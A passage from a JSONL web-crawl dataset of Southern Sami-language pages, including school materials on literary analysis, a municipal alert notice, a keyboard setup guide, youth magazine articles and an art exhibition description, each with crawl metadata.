0.9999936819076538}","num_words":136,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Im maehtieh mov uvte vuejnedh aktem jieledem bielelen gærjah», Kronprinsessa sov rïhpestimmie-håalemisnie jeehti. «Maana-baelien raejeste dle naaken munnjien lohkeme, jïh manne nuepiem åådtjeme dan tjiehtjielasse tjaangedh gusnie fantasije jeala.»\nNovella lea åenhkes tjaaleldh jïh litterææren soptsese maam tjaelije hæhtadamme.\nLissine:\n- Vaenie almetjh meatan\n- Akten dahkoen jallh heannadimmien bïjre\n- Ryöktesth dahkosne (\"in medias res\") jallh ov-vaantosne aalka\n- Ierielimmine orrije\n- Lohkije kaanne tjuara jïjtje ussjedidh minngie-gietjesne, guktie dellie maa sjædta? Ij gaajhke jeahtasovvh\nVierhkie-vierhtieh novelline\n- Soptsestimmie-vuekie\nNovelline göökte såarhts soptsestæjjah\nPersovneles soptsestæjja: soptsestæjja lea meatan dahkosne\nAutoraale soptsestæjja: soptsestæjja lea dahkoen ålkoelisnie\nAlmetjh buerkiestidh\nGosse mijjieh dah ovmessie karakteerh\/almetjh novellesne buerkiestibie dellie maehtebe naemhtie darjodh:\n- Ålkoe-jïjtsevoeth buerkiestidh, goh aaltere, tjoele jïh plïere\n- Sisnjelds-jïjtsevoeth buerkiestidh, goh almetji jïjtjevoete\nJïlhts maahta gellie almetjh\/karakteerh novellesne årrodh, maehtebe daejtie göökte åejvie-såarhtide juekedh:\nStatiske almetjh eah dan jïjnje jarkesh jallh skearkegh dååjresi gaavhtan.\nDynamiske almetjh dej dååjresi gaavhtan jarkesieh jïh skearkagieh.\nByjresem buerkiestidh\nByjrese, aktene novellesne, aajmoem skaepede. Tjaelije sijjiem, tseegkemh\/bigkemh jallh dåehkieh buerkeste. Sïejhme byjrese aaj meatan dahkoem buerkiestidh.\nKomposisjovne\nNovellesne tjaelije heannadimmiem ovmessie vuekine skaepede.\nIn medias res, dellie mijjieh ryöktesth heannadæmman båetebe. Dellie mij akt joe heannadamme åvtelen novelle aalka\nKronologije, dellie tjaelije tïjjen mietie tjaala.\nRetrospektijve soptsestimmievuekie: dellie tjaelije bååstide vuajna,jïh mijjieh åadtjobe daejredh mij aarebi heannadamme\nTjaatsestimmie, dellie tjaelije bïerkele mij akt edtja heannadidh.\nDialåågh jallh sceenh\nReferaate, tjaelije åenehkslaakan tjaala mij heannedeminie\nGïelem jïh baakoeh veeljedh\nNovellah ovmessie stijle-daltesh utnieh. Vuesiehtimmien gaavhtan vihkeles vueptiestidh jis teekstesne aarkebiejjien-gïele, noere-gïele jallh byjjes gïele. Tjaelije maahta ovmessie stijle-daltesh aaj utnedh seamma teekstesne.\nBaakoeh\nSaemien\nDaaroen\njïjtsevoete\negenskap\nålkoe-jïjtsevoeth\nytre egenskaper\nsisnjelds-jïjtsevoeth\nindre egenskaper\njïjtjevoete\npersonlighet\ntjoele\nkjønn\nstatiske\nstatisk\ndynamiske\ndynamisk\nbyjresem buerkiestidh\nskildre miljø\naajmoe\nstemning\ntjaatsestimmie\nframpek\nstijle-daltese\nstilnivå","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:e7cff23e-2217-49d4-822d-43f4dff47a12\/resource:3475900b-ee21-4b5e-a80c-4307304ddb2c","date":"2023-03-25T07:59:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00200.warc.gz","language":"sma","language_score":0.999977231,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999772310256958}","num_words":277,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vg. jis tjuerieh tjaetsiem voessjedh, jis tjaetsiem steegkebe, geajnoeh steegkeldahkesne, jis tjuerieh baateridh, vaksinasjovnen bïjre, elmie, jis gusnie buala jïh jeatjah bïevnesh mah leah vihkeles almetjh tjïjïeltesne daejrieh.\nSeammalaakan goh Kråangke, Nåavmesjenjaelmie, Stïentje jïh jeatjah tjïelth dle Raarvihken tjïelte SMS systeemem Varsling 24 nuhtjieh. Daate systeme bïevnesh almetji bïjre dehtie nasjonaale Kontakt- og reservasjonsregistret til Digitaliseringsdirektoratet og Folkeregisteret til Skattedirektoratet veedtjieh.\nGellie studenth leah jïjtsh hïejmetjïeltesne tjaalasovveme jïh eah sijhtieh SMS bïeljelimmiem tjïelteste åadtjodh gusnie lohkeminie. Dellie maahtah Varling 24:n lissietjaalegasse tjaelielovvedh. Daesnie studeenth jïh dej eejtegh maehtieh dej almetjebïevnesh tjaelielidh guktie bïeljeluvvieh jeenjebh årromesijjine.\nDaesnie maahtah lissiebïevnesidie tjaelielidh varslemeg.no","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/bievnesh-raarvihken-studentide-jih-dej-eejhtegidie-tjielten-bieljelimmiesysteemen-bijre.13632.aspx","date":"2023-03-22T02:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00696.warc.gz","language":"sma","language_score":0.9999556541,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999556541442871}","num_words":99,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie programmem MacOS X:sne sijjiedehtedh jih utnedh\nSjïehtedimmieh MacOS X:sne; guktie maehtedh saemien gïelesne tjaeledh.\nJis edtjh buektiehtidh noerhtesaemien gïelesne tjaeledh, dle tjoeverh noerhtesaemien båaloebuertiem veedtjedh\n1. Rïhpesth Systeminställningar\n2. Diedtieh Internationellt jallh ohtsedh dam baakoem ohtsemesijjeste:\n3. Diedtieh Indatameny jïh vïhtesjh Noerhtesaemien:\n4. Veeljh dellie saemien båaloebuertiem menyeste mij lea åelkiesbielesne gosse edtjh saemien tjaeledh:","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/divvun.no\/sma\/keyboards\/userdocs\/mac\/enable-keyboard-osx10.5-swe.html","date":"2023-03-21T15:02:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943698.79\/warc\/CC-MAIN-20230321131205-20230321161205-00407.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":52,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh göökte teeksth viertiestidh dellie edtjh hedtieh jïh joekehtsh gaavnedh teeksti gaskem. Lohkh guktie datne maahtah dam darjodh.\nTeeksth viertiestidh\nGosse datne edtjh göökte teeksth viertiestidh, dellie edtjh teeksti hedtieh jïh joekehtsh gaavnedh.\nGaavnh hedtieh jïh joekehtsh\nVoestegh edtjh hedtieh gaavnedh. Ohtsedh mah seammalaakan gåabpegen teekstine.\n- Seamma teema teekstine?\n- Seamma vierhkie-vierhtieh teekstine?\n- Teeksth seamma sjangerisnie?\n- Teeksth seamma tïjjeste?\nTeeksth seamma dïjrem utnieh?\nDan mænngan edtjh joekehtsh gaavnedh:\n- Teeksth teemam joekehtslaakan gïetedieh? Jis numhtie guktie?\n- Mah vierhkie-vierhtieh tjaelijh nuhtjieh? Akte tjaelije vierhkie-vierhtieh nuhtjie mejtie ij dïhte mubpie tjaelije nuhtjh? Jis numhtie mah vierhkie-vierhtieh?\n- Teeksth joekehts sjangerinie? Jis numhtie mah joekehtsh dej gaskem?\n- Jis eah teeksth seamma tïjjesne, guktie datne dam vuajnah? Gaavnh vuesiehtimmieh teestijste.\n- Jis ij dïjre seammalaakan, mij dellie joekehtse?\nViertiestimmie-vuekie\nGosse datne edtjh viertiestimmie-analysem tjaeledh, dellie maahtah göökte vuekiej mietie barkedh. Veeljh aktem daejstie vuekijste.\nVoestegh teekste A jïh dellie teekste B\n- Tjaelieh aalkoem gusnie datne gåabpegi teeksti motijvem jïh teemam åehpiedahtah jïh dam maam vihkielommes. Mah seamma teekstine\n- Åehpiedehtieh vierhkie-vierhtieh åenehkslaakan, maam datne teekstesne A gaavnih, jïh guktie vierhkie-vierhtieh viehkiehtieh teemam bigkedh\n- Åehpiedehtieh vierhkie-vierhtieh åenehkslaakan, maam datne teekstesne B gaavnih, jïh guktie vierhkie-vierhtieh viehkiehtieh teemam bigkedh\n- Guhkebe viertiestimmie-boelhke gusnie datne vuesiehtimmide teeksteste A jïh B viertesth. (daennie biehkesne gellie boelhkh, mujhtieh dam maam seammalaakan jïh mahte seammalaakan meatan vaeltedh )\n- Konklusjovne\nTsiehkeste tseahkan viertiestidh\n- Tjaelieh aalkoem gusnie datne motijvem jïh teemam teekstijste åehpiedahtah. Tjaelieh aaj teeksti hedtiej bïjre.\n- Tjaelieh aktem hedtien bïjre. Vaeltieh meatan vuesiehtimmieh gåabpegen teekstijste, jïh guktie daate hedtie maahta mijjem tsevtsedh guktie mijjieh teekstem guarkebe.\n- Tjaelieh akten orre hedtien bïjre. Vaeltieh meatan vuesiehtimmieh gåabpegen teekstijste, jïh guktie daate hedtie maahta mijjem tsevtsedh guktie mijjieh teekstem guarkebe. (Datne maahtah gellie hedtiej bïjre tjaeledh, men aellieh fer jïjnjh meatan vaeltieh)\n- Tjaelieh buerkiestimmiem gusnie kontrasth teeksti gaskem vuesehth. Mujhtieh vuesiehtimmieh gåabpagijstie teekstijste meatan vaeltedh.\n- Konklusjovne\nVuekie Tsiehkeste tseahkan viertiestidh nov sån maahta geerve årrodh. Men jis haarjenh, dellie gujht hijven gåarede. Vuekie datnem viehkehte mujhtedh guktie datne edtjh teekstide viertiestidh abpe dov vaestiedassesne, jïh dellie dov vaestiedasse buerebe sjædta.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:abc4aa51-8cc3-47a3-902b-f3e10a453fac\/resource:6125d43d-c8b7-4493-862a-9789eac266b2","date":"2023-03-24T09:35:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00720.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":331,"character_repetition_ratio":0.089,"word_repetition_ratio":0.056,"special_characters_ratio":0.155,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien gïelese: Ellen Bull Jonassen\nGosse doh åavroes biejjieh Europan bijjelen båaroejin saemien noerh gaptajgujmie Nöörjeste, Sveerjeste jïh Soemeste leah gaatojde Brusselisnie klaeriedamme\nDah lin meatan EU-Sámi Weekesne, gusnie meatan prosjektesne EU-Sámi Youth Idea Lab, mïsse Saemieraerie skraejriem vaalteme.\nProsjekten ulmie lea saemien noerh vuerkiehtehtedh EU:n politihken bïjre, jïh viehkine årrodh guktie dej giele EU:ste govlesåvva.\nÅålmege njieljie laantine\nAkte jiehtege mij daamtaj neebnesåvva EU-Sámi Weekesne lea «Saemieh leah åålmege njieljie laantine».\nLaanteraasth mejtie noerhtelaanti staath vihtiestin gellie tjuetie jaepien juassah, idtjin dan jïjnjem aerpievuekien saemien årromesijjieh jïh jieledevuekieh krööhkesth.\nMen jalhts geografije lea saemide juakeme, saemien sïemesvuekie lea annje nænnoes, laanteraasti rastah.\nDan åvteste göökte ållesth njieljie staatijste Saepmesne leah lïhtsegh EU:sne, gyhtjelasse maahta sjïdtedh mejtie abpe Saepmie lea bielie EU:ste.\nJïh nov gujht numhtie, Saemien tsiehkie EU:se lea joekoen vihkeles saemide jïh saemien noeride, saaht mennie laantesne lea staateårroje.\nEU jïh Saepmie\nEU lea akte dejstie stoerre gaskenasjonaale aktöörijste mah dagke pryövoeh jeenjemes darjodh klijmajarkelimmide loetedh mejtie dååjrebe.\nEU:n orre jïh joekoen stoerre strategije Green Deal ulmine åtna Europa edtja voestes klijmanööjtraale kontinentine sjïdtedh åvtelen 2025, aaj EU:n arktiske politihken tjïrrh.\nDaate sæjhta noeride ryöktesth baajnehtidh sïejhmelaakan, jïh saemien noeride sjïerelaakan – dan åvteste dah arktiske dajvine jielieminie mah klijmajarkelimmide aajhtojne dååjroeh, naakede mij dejtie aerpievuekien jieledevuekide vaahrese beaja.\nIj saemien ïedtjh jïh reaktah krööhkestidh, maahta stoerre konsekvensh åadtjodh.\nAaj gæmhposne klijmajarkelimmiej vøøste.\nGruva- jïh biegkefaamoebigkeme dorjesåvva daan biejjien goh bielie dehtie «kruana jarkelimmeste», gusnie orrestimmeles energijem jïh metallh jïh mineraalh daarpesje gaskem jeatjah el-bïjlebatterijde.\nDaate dagke hijven govloe.\nMen seamma tïjjen daate aaj våaromem saemien kultuvrese goerpedahta.\nJïjnje destie man bïjre ahkedh soptsestin EU-Sámi Weekesne lij daah dåeriesmoeretjoelmh, jïh guktie maahta dialogem jih goerkesem bueriedidh jïh evtiedidh EU:n jïh Saepmien gaskem.\nJoekoen saemien noeride lea vihkeles maehtedh meatan årrodh daennie dialogesne, guktie maehtieh meatan årrodh EU:n politihkem baajnehtidh 2050 vööste.\nByråkratije Brusselisnie, guhkede mijjen hïejmedajvijste, joekoen guhkene domtoe.\nGuvvie EU:ste mij daamtaj vååjnesasse båata lea gaajhke fïnkese, jïh ekonomije jïh åesiestimmie leah vihkielommes.\nLæjhkan EU sæjhta unnebelåhkoej reaktah, jïh mïrrestallemem unnebelåhkoej jïh stoerreseabradahken gaskem tjïertestidh jïh prioriteeredh.\nEU maahta meatan årrodh deadtovem noerhtelaantide bïejedh sijjen åeliedimmieh aalkoeåålmegidie tjåadtjoehtidh.\nGoh Michael Mann, EU:n Arktisen ambassadööre tjïertesti: «Nov lea gaertjiedimmieh maam EU maahta stilledh lïhtsegestaatide darjodh nasjonaale daltesisnie. Men laavenjostojne EU:n jïh årroji gaskem, gåarede sån staatide behtjiedidh vuesiehtimmien gaavhtan ILO-konvensjovnem 169 ratifiseeredh jïh dan tjïrrh saemiej reaktah nænnoestidh.»","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ungdomsmagasin.no\/eu-jih-saepmie-noere-almetji-perspektijveste\/09.03-10:03","date":"2023-06-02T13:04:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00724.warc.gz","language":"sma","language_score":0.9999914169,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999914169311523}","num_words":386,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestæjja: Ellen Bull Jonassen\nGaajhke pandemijesne eelki. Evelina eelki videjovh TikTokese bæjhkoehtidh. Såemieslaakan goh naakede mejnie meehti nossedh, men aaj tjïelke dïjrine\n– Aalkoelisnie mov lin ajve 30-40 dåeriedæjjah TikTokesne åvtelen ajve faahketji varke læssani. Mov voestes videjove vielie goh 20 000 vuesiehtimmieh åadtjoeji.\n– Im lim ryöjreldihkie dagkeres vaastahtahkem åadtjodh, Evelina jeahta.\n– Leam jïjtjemem\nDïhte tuhtjiegaajh stoerre dan gelliej dåeriedæjjajgujmie. Damta sov lea stoerre dïedte, men læjhkan ajve maam akt bæjhkohte gosse damta satne sæjhta.\n– Manne joekoen seadtoes damtem raaktan dan bïjre. Manne jïjtjemem jïh tuhtjem daate ajve luste. Jïh nov sån aaj mannasinie mov kontoeh dan stoerre sjïdteme goh leah.\n– Datne jïjtjedh åtnah goh influencere?\n– Voelph jïh jeatjebh mannem dam gåhtjoeh. Pandemijesne idtjim mahte almetjh råakh, men daelie gosse seabradahke vielie ræhpas, dellie gujht vuajnam såemies mannem damtijieh. Ånnetji rovnege domtoe, men dagke leam influencere såemieslaakan.\n@evelina.solsten Mina olika stilar ???? #sapmi #sydsame #renskötsel #urfolk #wearestillhere #indigenous #fyp #fördig #foryoupage #tåssåsenssameby ♬ Made You Look - Meghan Trainor\nÅvtelhaarvoeh hööptie\nIj guhtekrïevenassh bïejh mïsse jïh gåessie dïhte edtja maam joem bæjhkoehtidh. Jïjtje tjïelke dïjrem læjhkan åtna.\nDïhte sæjhta daajroeh båatsoen jïh saemien kultuvren bïjre geerjehtidh. Maaje åvtelhaarvoej vööste aaj barkedh.\nDamta satne dam buektehte. Jeenjemasth.\n– Joekoen TikTokesne gellie lahtestimmieh jïh bïevnesh åadtjoem. Jis akte videjove lea gaskeviermesne, dellie maahtam saaht gïem jaksedh. Dellie maahta såemies vesties lahtestimmieh båetedh mijjen vööste goh saemieh.\nGellie bïevnesh åådtje\nInstagramesne sov ulmiedåehkiem sagke buerebe jaksa. Desnie åajvahkommes altese dåeriedæjjah mah vuejnieh maam dïhte dïsse beaja jïh dïsse tjaala.\nDah sijhtieh daamtaj vielie lïeredh jïh dan åvteste numhteben naemhteben bïjre gihtjieh.\n– Im asth gaajhkh lahtestimmieh jïh bïevnesh vaestiedidh mah sïjse båetieh. Im darhkh asth gaajhkh bïevnesh lohkedh. Dellie im im asteme maam akt jeatjah darjodh, föörhkede.\nSåemies aejkien såemies dejstie lahtestimmijste dan raeriehtåvva guktie vuajna satne daarpesje digkiedimmiem vaeltedh.\n– Men tjoerem damtedh digkiedimmie mïelem vadta. Tjuara maam akt destie sjïdtedh, jis ij, dellie im vissjh.\nDïedtem damta\nAalkoelisnie jeanatjommesasse vaestiedi. Jeenjesh viehkiem sïjhtin skuvlelaavenjasside. Gosse lij 12 jaepien båeries lij aaj meatan sveerjen TV-programmesne. Desnie aaj joekoen basic fokuse sjïdti, guktie jïjtje dam tjïelkeste.\n– TV-programmesne månnoeh aehtjieh tjoerimen eevre aelhkies aati bïjre soptsestidh, goh mijjieh saemieh aaj eevre sïejhme gåetiej sisnie årrobe.\n– Damth dov dïedte sjïdteme saemiej bïjre bievnedh?\n– Såemieslaakan. Men raaktan leam iktesth dam dïedtem damteme, aaj TikToken jïh Instagramen åvtelen. Seamma tïjjen ij byörh mov dïedte årrodh. Staaten dïedte.Guvvie: Ann Kristin Solsten\nBovtsh vihkielommes gaajhkeste\nEvelina mijjine tellefovnesne soptseste Upmejistie. Dïhte studeentine sjïdteme jïh edtja seabradahkesoejkesjimmiem lohkedh doh minngebe golme jaepieh.\nSåemies orre faahketji lahtesh altese låemties bovtsijste eah sïjhth båetedh åvtelen satne gåetide vualka.\n– Manne veeljeme ööhpehtimmiem vaeltedh mij mannem baaja dovne barkedh jïh bovtsigujmie gïehtelidh. Dellie ij maehtieh saaht maam ööhpehtimmiem vaeltedh. Mov bovtsh leah gidtjh gaajhke munnjien.\n– Eeremasth sïjhtem gåetesne Klïeresne årrodh. Dïhte mov nïekedasse.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ungdomsmagasin.no\/influencere-evelina\/09.03-09:03","date":"2023-06-02T11:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00740.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":449,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie 2. daltesen mænngan\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- gellie laavlomestååkedimmieh, laavlomh jïh daanhtsoeh darjodh mah leah veedtjesovveme learohki lïhke musihkekultuvreste jïh kultuvreaerpeste\n- goerehtidhjïh eksperimenteeredh pulsine, jievkehtimmine, drïektine, melodijine, dynamihkine, harmonijine jïh hammojne daanhtsosne, gieline jïh tjoejehtimmesne instrumeentine\nGoerehtidh lea dååjredh jïh eksperimenteradidh, jïh maahta tjetskehkevoetem jïh onterdimmiem gorredidh. Goerehtidh maahta årrodh daajedh, ohtsedh, vueptiestidh, vïhtesjidh jallh kraanskodh. Såemies aejkien sæjhta årrodh ovmessie bielieh aktede aamhtesijstie goerehtidh akten ræhpas jïh laejhtehks digkiedimmien tjirrh. Goerehtidh maahta aaj årrodh teestadidh jallh pryövedh jïh barkoevuekieh, dorjesh jallh dalhketjh evalueradidh.\n- musihken maadthbiehkiejgujmie stååkedidh tjoejen jïh gïelen tjïrrh, möönsterh darjodh jïh möönsterh laavkedh aelhkie improvisasjovnide jïh komposisjovnide, aaj digitaale dïrregigujmie\n- dååjresidie ovmessie musihkales vuekijste buektedh soptsestallemen tjïrrh jïh tjiehpeles buektemevuekiej tjïrrh\nJaabnan vuarjasjimmie\nJaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh musihkesne 1. jïh 2. daltesisnie gosse meatan jïh darjoeh laavlomestååkedimmieh, daanhtsoeh jïh instrumenth tjoejehtieh, musihkem darjoeh, eksperimenteerieh jïh buerkiestieh musihkales vuekieh, jïh gosse goltelieh, jïjtjemse musihkedååjresi sïjse jielieh jïh musihkedååjresh buektieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohke lea meatan jïh lïeremelastose skreejrehtidh viehkine baajedh learoehkidie golteldidh, stååkedidh, onterdidh jïh sijjen daajh nuhtjedh mah learohki faagegoerkesem evtiedieh, jïh dejtie nuepiem vedtieh maam joem buektedh jïh haalvemedomtesem vedtieh. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre musihkesne. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh jïh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov maahtoem faagesne evtiedidh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/kompetansemaal-og-vurdering\/kv197?lang=sma","date":"2023-05-29T18:07:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00436.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":252,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tomas Colbengtson\nGoh tjoevke jih soejvene soptseste\nVad ljus och skugga berättar\nSalene mubpene laptesne\n14.09.2023 – 15.10.2023\nMijjen lea aavoe Toman Colbengtsonen vuesiehtimmiem Goh tjoevke jih soejvene soptseste vuesiehtidh. Åarjelsaemien vuajnoen tjïrrh Colbengtson teemah bæjjese vaalta goh mujhteme jïh kolonijehistovrije Saepmien sveerjen bielesne. Dïhte sæjhta tjoevkesem bïejedh persovneles jïh ektie soptsesidie åejvieladtji daaresjimmiej bïjre aalkoeåålmegi vööste. Vierhkieh leah kulturelle dïedtelgimmien bïjre goh nærhtome saemien gïelen, religijovnen jïh båatsoen vööste. Jïh joekoen dihte vaenie åehpies soptsese sveerjen staaten bïjre mij tjabrehti saemieh jåhtajidh noerhte-saemien dajvijste åarjelsaemien dajvide 1900-låhkoen.\nSmaave bæhtah åvtetje aejkien gïengelistie, goh mojhtesh maanabaeleste, våarhkoematerijelle jallh gïejh eatnamisnie, vihth vueptiestamme jïh vaajestamme sjidtieh. Colbengtson åajvahkommes sïlhketrygkine jïh klaasine barka goh medijume, jïh portrehth jïh eatnememotijvh båeries guvvijste nuhtjie lissine teekste sveerjen jïh åarjelsaemien gielesne goh våarome gietedidh – ij ajve tjeahpoen goerkesen mietie, men aaj terapeevteles - jïh soptsesh soptsestidh. Dïhte guvvieh veedtjie dovne privaate jïh byøgkeles våarhkojste, gaskem jeatjah vïedteldihkie naeliebiologeles dotkemasse.\nColbengtson lea åehpies sov klaaseskulptuvri gaavhtan mah dorjesovveme teknihkine gaptjedimmieklaase gusnie guvvieh sertiestuvvieh viehkine sïlhketrygkeste jïh klaasen sijse bïejesuvvieh. Lissine gellie guektiendimensjonaale vierhkieh vuesehte gusnie måaladimmieh jïh guvvieh, mah leah gïetesovveme rastreeremen tjïrrh, dovne plïehtje jïh sojjeldihkie klaase- jïh metalleplaataj nille såarhka. Vuesiehtimmie aaj jienebh installasjovnh vuesehte gusnie tjoevkese, yörhke jïh speejjeldimmie soptsesh ov-vååjnedehtemen jïh ammesdehtemen bïjre soptsestieh mah ahkedh indivijdem, seabradahkem jïh kultuvrem baajnehtieh.\nTomas Colbengtson (r. 1957, Dearna, Sveerje) lea åarjelsaemien guvvietjiehpiedæjja ööhpehtimmine jïlleskuvleste Konstfack (MFA), 1991. Boelhken 1998-2008 lij resident artist jilleskuvlesne Kungliga Tekniska Högskolan Stuehkesne. Colbengtson lea tseegkije prosjekteste Sápmi Salasta - Saepmie feerhmie. Dïhte vuesiehtimmieh åtneme dovne Saepmesne, Skandinavijisnie jïh ålkoelaantesne, ajve 2022 mænngan satne vuesiehtimmieh åtneme gelline sijjine, dej gaskem Sámi Dáiddaguovddáš, Karasjohkesne, Scandinavian House, New York, National Nordic Museum, Seattle, Enter ArtFair, København, Galleri Helle, Stuehkie, Museum Cerny, Bern, Sveits, jïh Saemien Sijte Snåasesne, juktie naakenh neebnedh. Dej gaskem mah altese vierhkieh åasteme lea Saemiedigkie, Noerhtenöörjen Tjeahpoemuseume, RiddoDuottarMuseat, KORO, Nasjonalmuseet, Trööhnege Sonjan tjeahpoevåarhkoe jïh Staaten tjeahpoeraerie.\nGærja Faamoe Colbengtsonen tjiehpiedæjjavoeten bïjre bööti 2019 jïh doekesåvva gallerijesne.\nVuesiehtimmie lea dorjesovveme laavenjostosne jïh dåarjojne Sámi Dáiddaguovddášistie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/kunstnerforbundet.no\/utstillinger\/1350\/vad-ljus-och-skugga-beraettar?l=sa","date":"2023-09-29T06:37:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510498.88\/warc\/CC-MAIN-20230929054611-20230929084611-00157.warc.gz","language":"sma","language_score":0.9999204874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999204874038696}","num_words":325,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh åehpies sjïdtedh oktegh jïh mubpiejgujmie svihtjedh jïjtsh ïedtji, aajkoej jïh nuepiej mietie. Learohkh jïjtsh identiteetem jïh jïjtjeguvviem goerehtieh jïh ussjededtieh jïh laejhtehkslaakan ussjedieh ektiedimmiej bïjre svihtjemen, kråahpen, saavremen jïh healsoen gaskem. Vitnedimmie nuepiem vadta lïeremasse kråahpine stååkedimmien jïh haarjanimmien tjïrrh gosse ålkone, daanhtsoen, darjomi tjïrrh gaarsjelimmesne jïh jeatjah svihtjemedarjomi tjïrrh. Kråahpine lïeredh lea gelliesåarhts motorihkeles lïeremen bïjre, evtiedimmie kråahpesvoerkesvoeteste jïh svihtjeme-aavose skreejrehtidh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/kjerneelementer?lang=sma","date":"2023-10-03T19:43:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511220.71\/warc\/CC-MAIN-20231003192425-20231003222425-00505.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":64,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage-teekste lea akte dejstie sïejhmemes sjangerijstie skuvlesne. Akte 